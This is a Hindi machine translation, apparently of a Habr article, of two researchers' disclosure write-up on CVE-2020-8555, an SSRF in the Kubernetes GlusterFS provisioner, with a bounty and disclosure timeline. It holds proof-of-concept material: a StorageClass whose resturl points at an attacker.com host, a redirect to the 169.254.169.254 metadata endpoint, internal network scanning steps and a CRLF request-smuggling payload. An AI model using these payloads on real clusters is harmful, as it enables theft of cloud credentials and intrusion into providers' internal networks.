जब यह केवल कुबेरनेट्स कमजोरियों के बारे में नहीं है...

टिप्पणी। अनुवाद।: इस लेख के लेखक इस बारे में विस्तार से बात करते हैं कि वे भेद्यता का पता लगाने में कैसे कामयाब रहे CVE-2020-8555 कुबेरनेट्स में। हालाँकि शुरू में यह बहुत खतरनाक नहीं लगा, अन्य कारकों के साथ मिलकर इसकी गंभीरता कुछ क्लाउड प्रदाताओं के लिए अधिकतम हो गई। कई संगठनों ने विशेषज्ञों को उनके काम के लिए उदारतापूर्वक पुरस्कृत किया।

हम कौन हैं

हम दो फ्रांसीसी सुरक्षा शोधकर्ता हैं जिन्होंने संयुक्त रूप से कुबेरनेट्स में एक भेद्यता की खोज की। हमारे नाम ब्राइस ऑग्रास और क्रिस्टोफ़ हाउक्विर्ट हैं, लेकिन कई बग बाउंटी प्लेटफार्मों पर हमें क्रमशः रीवरज़ैक्स और हैच के नाम से जाना जाता है:

• ब्राइस ऑग्रास - ग्रुप एस्टन कंपनी;
• क्रिस्टोफ़ हाउक्विएर्ट - नोकिया में कुबेरनेट्स वास्तुकार।

क्या हुआ?

यह लेख यह साझा करने का हमारा तरीका है कि कैसे एक साधारण अनुसंधान परियोजना अप्रत्याशित रूप से बग शिकारियों के जीवन में सबसे रोमांचक साहसिक कार्य में बदल गई (कम से कम अभी के लिए)।

जैसा कि आप शायद जानते हैं, बग शिकारियों के पास कुछ उल्लेखनीय विशेषताएं हैं:

• वे पिज़्ज़ा और बियर पर रहते हैं;
• वे तब काम करते हैं जब बाकी सभी लोग सो रहे होते हैं।

हम इन नियमों के अपवाद नहीं हैं: हम आम तौर पर सप्ताहांत पर मिलते हैं और हैकिंग में रातों की नींद हराम कर देते हैं। लेकिन इनमें से एक रात का अंत बहुत ही असामान्य तरीके से हुआ।

प्रारंभ में हम इसमें भागीदारी पर चर्चा करने के लिए मिलने वाले थे CTF अगले दिन। प्रबंधित सेवा परिवेश में कुबेरनेट्स सुरक्षा के बारे में बातचीत के दौरान, हमें SSRF का पुराना विचार याद आया (सर्वर-साइड अनुरोध जालसाजी) और इसे एक हमले की स्क्रिप्ट के रूप में उपयोग करने का प्रयास करने का निर्णय लिया।

रात 11 बजे हम अपना शोध करने के लिए बैठे और परिणामों से बहुत संतुष्ट होकर सुबह जल्दी सो गए। इस शोध के कारण ही हमें एमएसआरसी बग बाउंटी कार्यक्रम का पता चला और हम एक विशेषाधिकार वृद्धि कारनामे के साथ सामने आए।

कई सप्ताह/महीने बीत गए, और हमारे अप्रत्याशित परिणाम के परिणामस्वरूप एज़्योर क्लाउड बग बाउंटी के इतिहास में सबसे अधिक पुरस्कारों में से एक प्राप्त हुआ - कुबेरनेट्स से प्राप्त पुरस्कार के अलावा!

हमारे शोध प्रोजेक्ट के आधार पर, कुबेरनेट्स उत्पाद सुरक्षा समिति ने प्रकाशित किया CVE-2020-8555.

अब मैं पाई गई भेद्यता के बारे में यथासंभव जानकारी फैलाना चाहूंगा। हमें आशा है कि आप खोज की सराहना करेंगे और तकनीकी विवरण इन्फोसेक समुदाय के अन्य सदस्यों के साथ साझा करेंगे!

तो ये है हमारी कहानी...

प्रसंग

जो कुछ हुआ उसे सबसे अधिक समझने के लिए, आइए सबसे पहले देखें कि कुबेरनेट्स क्लाउड प्रबंधित वातावरण में कैसे काम करता है।

जब आप ऐसे वातावरण में कुबेरनेट्स क्लस्टर को इंस्टेंट करते हैं, तो प्रबंधन परत आमतौर पर क्लाउड प्रदाता की जिम्मेदारी होती है:

नियंत्रण परत क्लाउड प्रदाता की परिधि पर स्थित है, जबकि कुबेरनेट्स नोड्स ग्राहक की परिधि पर स्थित हैं

वॉल्यूम को गतिशील रूप से आवंटित करने के लिए, उन्हें बाहरी स्टोरेज बैकएंड से गतिशील रूप से प्रावधान करने और पीवीसी (लगातार वॉल्यूम दावा, यानी वॉल्यूम के लिए अनुरोध) के साथ उनकी तुलना करने के लिए एक तंत्र का उपयोग किया जाता है।

इस प्रकार, पीवीसी के बनने और K8s क्लस्टर में स्टोरेजक्लास से बंधे होने के बाद, वॉल्यूम प्रदान करने के लिए आगे की कार्रवाई क्यूब/क्लाउड नियंत्रक प्रबंधक द्वारा की जाती है (इसका सटीक नाम रिलीज पर निर्भर करता है)। (टिप्पणी। अनुवाद।: हम पहले ही क्लाउड प्रदाताओं में से एक के लिए इसके कार्यान्वयन के उदाहरण का उपयोग करके सीसीएम के बारे में अधिक लिख चुके हैं यहां.)

कुबेरनेट्स द्वारा समर्थित कई प्रकार के प्रावधानकर्ता हैं: उनमें से अधिकांश इसमें शामिल हैं ऑर्केस्ट्रेटर कोर, जबकि अन्य को अतिरिक्त प्रावधानकर्ताओं द्वारा प्रबंधित किया जाता है जिन्हें क्लस्टर में पॉड्स में रखा जाता है।

अपने शोध में, हमने आंतरिक वॉल्यूम प्रावधान तंत्र पर ध्यान केंद्रित किया, जिसे नीचे दर्शाया गया है:

अंतर्निहित कुबेरनेट्स प्रोविजनर का उपयोग करके वॉल्यूम का गतिशील प्रावधान

संक्षेप में, जब कुबेरनेट्स को एक प्रबंधित वातावरण में तैनात किया जाता है, तो नियंत्रक प्रबंधक क्लाउड प्रदाता की जिम्मेदारी होती है, लेकिन वॉल्यूम निर्माण अनुरोध (उपरोक्त चित्र में संख्या 3) क्लाउड प्रदाता के आंतरिक नेटवर्क को छोड़ देता है। और यहीं चीजें वास्तव में दिलचस्प हो जाती हैं!

हैकिंग परिदृश्य

इस अनुभाग में, हम बताएंगे कि हमने ऊपर उल्लिखित वर्कफ़्लो का लाभ कैसे उठाया और क्लाउड सेवा प्रदाता के आंतरिक संसाधनों तक कैसे पहुंच बनाई। यह आपको यह भी दिखाएगा कि आप कुछ कार्य कैसे कर सकते हैं, जैसे आंतरिक क्रेडेंशियल प्राप्त करना या विशेषाधिकार बढ़ाना।

एक साधारण हेरफेर (इस मामले में, सर्विस साइड रिक्वेस्ट फोर्जरी) ने क्लाइंट परिवेश से परे प्रबंधित K8s के तहत विभिन्न सेवा प्रदाताओं के समूहों में जाने में मदद की।

अपने शोध में, हमने ग्लस्टरएफएस प्रोविजनर पर ध्यान केंद्रित किया। इस तथ्य के बावजूद कि इस संदर्भ में क्रियाओं के आगे के क्रम का वर्णन किया गया है, क्वोबाइट, स्टोरेजओएस और स्केलआईओ समान भेद्यता के प्रति संवेदनशील हैं।

डायनेमिक वॉल्यूम प्रावधान तंत्र का दुरुपयोग

भंडारण वर्ग विश्लेषण के दौरान GlusterFS गोलांग क्लाइंट सोर्स कोड में हम देखावॉल्यूम निर्माण के दौरान भेजे गए पहले HTTP अनुरोध (3) पर, पैरामीटर में कस्टम URL के अंत तक resturl जोड़ दिया गया है /volumes.

हमने इस अतिरिक्त पथ को जोड़कर छुटकारा पाने का निर्णय लिया # पैरामीटर में resturl. यहां पहला YAML कॉन्फ़िगरेशन है जिसका उपयोग हमने सेमी-ब्लाइंड SSRF भेद्यता के परीक्षण के लिए किया था (उदाहरण के लिए, आप अर्ध-अंध या अर्ध-अंध SSRF के बारे में अधिक पढ़ सकते हैं, यहां - लगभग। अनुवाद।):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

फिर हमने कुबेरनेट्स क्लस्टर को दूरस्थ रूप से प्रबंधित करने के लिए बाइनरी का उपयोग किया Kubectl. आमतौर पर, क्लाउड प्रदाता (Azure, Google, AWS, आदि) आपको इस उपयोगिता में उपयोग के लिए क्रेडेंशियल प्राप्त करने की अनुमति देते हैं।

इसके लिए धन्यवाद, मैं अपनी "विशेष" फ़ाइल का उपयोग करने में सक्षम था। क्यूब-नियंत्रक-प्रबंधक ने परिणामी HTTP अनुरोध को निष्पादित किया:

kubectl create -f sc-poc.yaml

हमलावर के दृष्टिकोण से उत्तर

इसके तुरंत बाद, हम कमांड के माध्यम से लक्ष्य सर्वर से एक HTTP प्रतिक्रिया प्राप्त करने में भी सक्षम थे describe pvc या get events क्यूबेक्टल में. और वास्तव में: यह डिफ़ॉल्ट Kubernetes ड्राइवर अपनी चेतावनियों/त्रुटि संदेशों में बहुत अधिक क्रियात्मक है...

यहां लिंक के साथ एक उदाहरण दिया गया है https://www.google.frपैरामीटर के रूप में सेट करें resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

इस दृष्टिकोण में, हम जैसे प्रश्नों तक ही सीमित थे HTTP पोस्ट और यदि रिटर्न कोड था तो प्रतिक्रिया निकाय की सामग्री प्राप्त नहीं कर सका 201. इसलिए, हमने अतिरिक्त शोध करने का निर्णय लिया और नए दृष्टिकोणों के साथ इस हैकिंग परिदृश्य का विस्तार किया।

हमारे शोध का विकास

• उन्नत परिदृश्य #1: आंतरिक डेटा एकत्र करने का अधिक लचीला तरीका प्रदान करने के लिए HTTP विधि को बदलने के लिए बाहरी सर्वर से 302 रीडायरेक्ट का उपयोग करना।
• उन्नत परिदृश्य #2: LAN स्कैनिंग और आंतरिक संसाधन खोज को स्वचालित करें।
• उन्नत परिदृश्य #3: अनुकूलित HTTP अनुरोध बनाने और क्यूब-नियंत्रक लॉग से निकाले गए डेटा को पुनः प्राप्त करने के लिए HTTP CRLF + तस्करी ("अनुरोध तस्करी") का उपयोग करना।

तकनीकी निर्देश

• शोध में उत्तरी यूरोप क्षेत्र में कुबेरनेट्स संस्करण 1.12 के साथ एज़्योर कुबेरनेट्स सर्विस (एकेएस) का उपयोग किया गया।
• ऊपर वर्णित परिदृश्यों को तीसरे परिदृश्य के अपवाद के साथ, कुबेरनेट्स की नवीनतम रिलीज पर निष्पादित किया गया था, क्योंकि उसे गोलांग संस्करण ≤ 1.12 के साथ निर्मित कुबेरनेट्स की आवश्यकता थी।
• हमलावर का बाहरी सर्वर - https://attacker.com.

उन्नत परिदृश्य #1: HTTP POST अनुरोध को संवेदनशील डेटा प्राप्त करने और प्राप्त करने के लिए पुनर्निर्देशित करना

वापस लौटने के लिए हमलावर के सर्वर के कॉन्फ़िगरेशन द्वारा मूल विधि में सुधार किया गया था 302 HTTP रेटकोडPOST अनुरोध को GET अनुरोध में बदलने के लिए (आरेख में चरण 4):

पहला अनुरोध (3) ग्राहक से आ रहा है GlusterFS (नियंत्रक प्रबंधक), एक POST प्रकार है। इन चरणों का पालन करके हम इसे GET में बदलने में सक्षम थे:

• एक पैरामीटर के रूप में resturl स्टोरेजक्लास में यह दर्शाया गया है http://attacker.com/redirect.php.
• endpoint https://attacker.com/redirect.php निम्नलिखित स्थान शीर्षलेख के साथ 302 HTTP स्थिति कोड के साथ प्रतिक्रिया करता है: http://169.254.169.254. यह कोई अन्य आंतरिक संसाधन हो सकता है - इस मामले में, रीडायरेक्ट लिंक का उपयोग केवल एक उदाहरण के रूप में किया जाता है।
• По умолчанию नेट/http लाइब्रेरी गोलांग अनुरोध को पुनर्निर्देशित करता है और POST को 302 स्थिति कोड के साथ GET में परिवर्तित करता है, जिसके परिणामस्वरूप लक्ष्य संसाधन के लिए HTTP GET अनुरोध प्राप्त होता है।

HTTP प्रतिक्रिया निकाय को पढ़ने के लिए आपको यह करना होगा describe पीवीसी वस्तु:

kubectl describe pvc xxx

यहां JSON प्रारूप में HTTP प्रतिक्रिया का एक उदाहरण दिया गया है जिसे हम प्राप्त करने में सक्षम थे:

उस समय पाई गई भेद्यता की क्षमताएं निम्नलिखित बिंदुओं के कारण सीमित थीं:

• आउटगोइंग अनुरोध में HTTP हेडर सम्मिलित करने में असमर्थता।
• मुख्य भाग में पैरामीटर के साथ POST अनुरोध निष्पादित करने में असमर्थता (इस पर चल रहे आदि इंस्टेंस से कुंजी मान का अनुरोध करना सुविधाजनक है) 2379 पोर्ट यदि अनएन्क्रिप्टेड HTTP का उपयोग किया जाता है)।
• जब स्थिति कोड 200 था और प्रतिक्रिया में JSON सामग्री-प्रकार नहीं था, तो प्रतिक्रिया मुख्य सामग्री को पुनः प्राप्त करने में असमर्थता।

उन्नत परिदृश्य #2: स्थानीय नेटवर्क को स्कैन करना

इस अर्ध-अंधा SSRF विधि का उपयोग तब क्लाउड प्रदाता के आंतरिक नेटवर्क को स्कैन करने और प्रतिक्रियाओं के आधार पर विभिन्न श्रवण सेवाओं (मेटाडेटा उदाहरण, क्यूबलेट, आदि) का सर्वेक्षण करने के लिए किया गया था। क्यूब नियंत्रक.

सबसे पहले, कुबेरनेट्स घटकों के मानक श्रवण पोर्ट निर्धारित किए गए (8443, 10250, 10251, आदि), और फिर हमें स्कैनिंग प्रक्रिया को स्वचालित करना पड़ा।

यह देखते हुए कि संसाधनों को स्कैन करने की यह विधि बहुत विशिष्ट है और क्लासिक स्कैनर और एसएसआरएफ टूल के साथ संगत नहीं है, हमने एक बैश स्क्रिप्ट में अपने स्वयं के कार्यकर्ता बनाने का निर्णय लिया जो पूरी प्रक्रिया को स्वचालित करता है।

उदाहरण के लिए, आंतरिक नेटवर्क की रेंज 172.16.0.0/12 को शीघ्रता से स्कैन करने के लिए, 15 श्रमिकों को समानांतर में लॉन्च किया गया था। उपरोक्त आईपी रेंज को केवल एक उदाहरण के रूप में चुना गया है और आपके विशिष्ट सेवा प्रदाता की आईपी रेंज में परिवर्तन हो सकता है।

एक आईपी पते और एक पोर्ट को स्कैन करने के लिए, आपको निम्नलिखित कार्य करने होंगे:

• अंतिम जाँच की गई स्टोरेजक्लास को हटा दें;
• पिछले सत्यापित परसिस्टेंट वॉल्यूम दावे को हटा दें;
• आईपी ​​​​और पोर्ट मान बदलें sc.yaml;
• एक नए आईपी और पोर्ट के साथ एक स्टोरेजक्लास बनाएं;
• एक नया पीवीसी बनाएं;
• पीवीसी के लिए डिस्क्रिप्शन का उपयोग करके स्कैन परिणाम निकालें।

उन्नत परिदृश्य #3: सीआरएलएफ इंजेक्शन + कुबेरनेट्स क्लस्टर के "पुराने" संस्करणों में HTTP की तस्करी

यदि इसके अतिरिक्त प्रदाता ने ग्राहकों को K8s क्लस्टर के पुराने संस्करण की पेशकश की и उन्हें क्यूब-नियंत्रक-प्रबंधक के लॉग तक पहुंच प्रदान की गई, प्रभाव और भी अधिक महत्वपूर्ण हो गया।

किसी हमलावर के लिए अपने विवेक पर पूर्ण HTTP प्रतिक्रिया प्राप्त करने के लिए डिज़ाइन किए गए HTTP अनुरोधों को बदलना वास्तव में अधिक सुविधाजनक है।

अंतिम परिदृश्य को लागू करने के लिए, निम्नलिखित शर्तों को पूरा करना होगा:

• उपयोगकर्ता के पास क्यूब-नियंत्रक-प्रबंधक लॉग तक पहुंच होनी चाहिए (उदाहरण के लिए, Azure LogInsights में)।
• कुबेरनेट्स क्लस्टर को 1.12 से कम गोलांग के संस्करण का उपयोग करना चाहिए।

हमने एक स्थानीय वातावरण तैनात किया है जो ग्लस्टरएफएस गो क्लाइंट और एक नकली लक्ष्य सर्वर के बीच संचार का अनुकरण करता है (हम अभी के लिए पीओसी प्रकाशित करने से परहेज करेंगे)।

मिला था भेद्यता, 1.12 से कम गोलांग संस्करणों को प्रभावित करता है और हैकर्स को HTTP तस्करी/सीआरएलएफ हमलों को अंजाम देने की अनुमति देता है।

ऊपर वर्णित अर्ध-अंधा एसएसआरएफ को मिलाकर вместе इसके साथ, हम अपनी पसंद के अनुसार अनुरोध भेजने में सक्षम थे, जिसमें हेडर, HTTP विधि, पैरामीटर और डेटा को बदलना शामिल था, जिसे क्यूब-नियंत्रक-प्रबंधक ने संसाधित किया।

यहां एक पैरामीटर में कार्यशील "चारा" का एक उदाहरण दिया गया है resturl स्टोरेजक्लास, जो एक समान हमले के परिदृश्य को लागू करता है:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

परिणाम एक त्रुटि है अनचाही प्रतिक्रिया, एक संदेश जिसके बारे में नियंत्रक लॉग में दर्ज किया गया है। डिफ़ॉल्ट रूप से सक्षम वर्बोसिटी के लिए धन्यवाद, HTTP प्रतिक्रिया संदेश की सामग्री भी वहां सहेजी जाती है।

अवधारणा के प्रमाण के ढांचे के भीतर यह हमारा सबसे प्रभावी "चारा" था।

इस दृष्टिकोण का उपयोग करके, हम विभिन्न प्रबंधित k8s प्रदाताओं के समूहों पर निम्नलिखित कुछ हमलों को अंजाम देने में सक्षम थे: मेटाडेटा उदाहरणों पर क्रेडेंशियल्स के साथ विशेषाधिकार वृद्धि, आदि मास्टर उदाहरणों पर (अनएन्क्रिप्टेड) ​​HTTP अनुरोधों के माध्यम से मास्टर DoS, आदि।

परिणाम

हमारे द्वारा खोजी गई एसएसआरएफ भेद्यता के संबंध में कुबेरनेट्स के आधिकारिक बयान में, इसका मूल्यांकन किया गया था सीवीएसएस 6.3/10: सीवीएसएस:3.0/एवी:एन/एसी:एच/पीआर:एल/यूआई:एन/एस:सी/सी:एच/आई:एन/ए:एन। यदि हम केवल कुबेरनेट्स परिधि, अखंडता वेक्टर से जुड़ी भेद्यता पर विचार करते हैं (अखंडता वेक्टर) यह इस प्रकार योग्य है कोई नहीं.

हालाँकि, एक प्रबंधित सेवा वातावरण के संदर्भ में संभावित परिणामों का आकलन करना (और यह हमारे शोध का सबसे दिलचस्प हिस्सा था!) ​​ने हमें भेद्यता को रेटिंग में पुनर्वर्गीकृत करने के लिए प्रेरित किया। क्रिटिकल सीवीएसएस10/10 कई वितरकों के लिए.

क्लाउड वातावरण में संभावित प्रभावों का आकलन करते समय हमारे विचारों को समझने में आपकी सहायता के लिए नीचे अतिरिक्त जानकारी दी गई है:

ईमानदारी

• प्राप्त आंतरिक क्रेडेंशियल्स का उपयोग करके दूरस्थ रूप से कमांड निष्पादित करें।
• स्थानीय नेटवर्क पर पाए जाने वाले अन्य संसाधनों के साथ IDOR (असुरक्षित डायरेक्ट ऑब्जेक्ट रेफरेंस) पद्धति का उपयोग करके उपरोक्त परिदृश्य को पुन: प्रस्तुत करना।

Конфиденциальность

• आक्रमण का प्रकार पार्श्व आंदोलन क्लाउड क्रेडेंशियल्स की चोरी के लिए धन्यवाद (उदाहरण के लिए, मेटाडेटा एपीआई)।
• स्थानीय नेटवर्क को स्कैन करके जानकारी एकत्र करना (एसएसएच संस्करण, HTTP सर्वर संस्करण, ... का निर्धारण करना)।
• मेटाडेटा एपीआई जैसे आंतरिक एपीआई को पोल करके उदाहरण और बुनियादी ढांचे की जानकारी एकत्र करें (http://169.254.169.254,…)।
• क्लाउड क्रेडेंशियल्स का उपयोग करके ग्राहक डेटा चोरी करना।

उपलब्धता

आक्रमण वैक्टर से संबंधित सभी शोषण परिदृश्य अखंडता, विनाशकारी कार्यों के लिए उपयोग किया जा सकता है और क्लाइंट परिधि (या किसी अन्य) से मास्टर उदाहरण अनुपलब्ध हो सकते हैं।

चूँकि हम एक प्रबंधित K8s वातावरण में थे और अखंडता पर प्रभाव का आकलन कर रहे थे, हम कई परिदृश्यों की कल्पना कर सकते हैं जो उपलब्धता को प्रभावित कर सकते हैं। अतिरिक्त उदाहरणों में आदि डेटाबेस को दूषित करना या कुबेरनेट्स एपीआई पर एक महत्वपूर्ण कॉल करना शामिल है।

कालक्रम

• 6 दिसंबर, 2019: MSRC बग बाउंटी को भेद्यता की सूचना दी गई।
• 3 जनवरी, 2020: एक तीसरे पक्ष ने कुबेरनेट्स डेवलपर्स को सूचित किया कि हम एक सुरक्षा मुद्दे पर काम कर रहे हैं। और उनसे एसएसआरएफ को आंतरिक (इन-कोर) भेद्यता के रूप में मानने के लिए कहा। फिर हमने समस्या के स्रोत के बारे में तकनीकी विवरण के साथ एक सामान्य रिपोर्ट प्रदान की।
• 15 जनवरी, 2020: हमने कुबेरनेट्स डेवलपर्स को उनके अनुरोध पर (हैकरवन प्लेटफॉर्म के माध्यम से) तकनीकी और सामान्य रिपोर्ट प्रदान की।
• 15 जनवरी, 2020: कुबेरनेट्स डेवलपर्स ने हमें सूचित किया कि पिछले रिलीज के लिए हाफ-ब्लाइंड एसएसआरएफ + सीआरएलएफ इंजेक्शन को इन-कोर भेद्यता माना जाता है। हमने तुरंत अन्य सेवा प्रदाताओं की परिधि का विश्लेषण करना बंद कर दिया: K8s टीम अब मूल कारण से निपट रही थी।
• 15 जनवरी, 2020: HackerOne के माध्यम से MSRC इनाम प्राप्त हुआ।
• 16 जनवरी, 2020: कुबेरनेट्स पीएससी (उत्पाद सुरक्षा समिति) ने भेद्यता को पहचाना और संभावित पीड़ितों की बड़ी संख्या के कारण इसे मार्च के मध्य तक गुप्त रखने को कहा।
• 11 फरवरी, 2020: Google VRP इनाम प्राप्त हुआ।
• 4 मार्च, 2020: हैकरवन के माध्यम से कुबेरनेट्स पुरस्कार प्राप्त हुआ।
• 15 मार्च, 2020: मूल रूप से निर्धारित सार्वजनिक प्रकटीकरण को COVID-19 स्थिति के कारण स्थगित कर दिया गया।
• 1 जून, 2020: कुबेरनेट्स + माइक्रोसॉफ्ट ने भेद्यता के बारे में संयुक्त बयान दिया।

TL, डॉ

• हम बियर पीते हैं और पिज़्ज़ा खाते हैं :)
• हमने कुबेरनेट्स में एक इन-कोर भेद्यता की खोज की, हालाँकि हमारा ऐसा करने का कोई इरादा नहीं था।
• हमने विभिन्न क्लाउड प्रदाताओं के समूहों पर अतिरिक्त विश्लेषण किया और अतिरिक्त अद्भुत बोनस प्राप्त करने के लिए भेद्यता के कारण होने वाले नुकसान को बढ़ाने में सक्षम थे।
• इस लेख में आपको बहुत सारी तकनीकी जानकारी मिलेगी। हमें आपके साथ उन पर चर्चा करने में खुशी होगी (ट्विटर: @ReeverZax & @__hach_).
• यह पता चला कि सभी प्रकार की औपचारिकताओं और रिपोर्टिंग में अपेक्षा से अधिक समय लगा।

संदर्भों

• Google समूह कुबेरनेट्स-सुरक्षा-घोषणा;
• CVE-2020-8555;
• गोलांग अंक #30794;
• heketi/client/api/go-client/volume.go.

अनुवादक से पी.एस

हमारे ब्लॉग पर भी पढ़ें:

• «कुबेरनेट्स बग हंट आधिकारिक तौर पर खुला है";
• «लॉग माउंट करके कुबेरनेट्स में एक पॉड से बाहर निकलना";
• «33+ कुबेरनेट्स सुरक्षा उपकरण'.

स्रोत: www.habr.com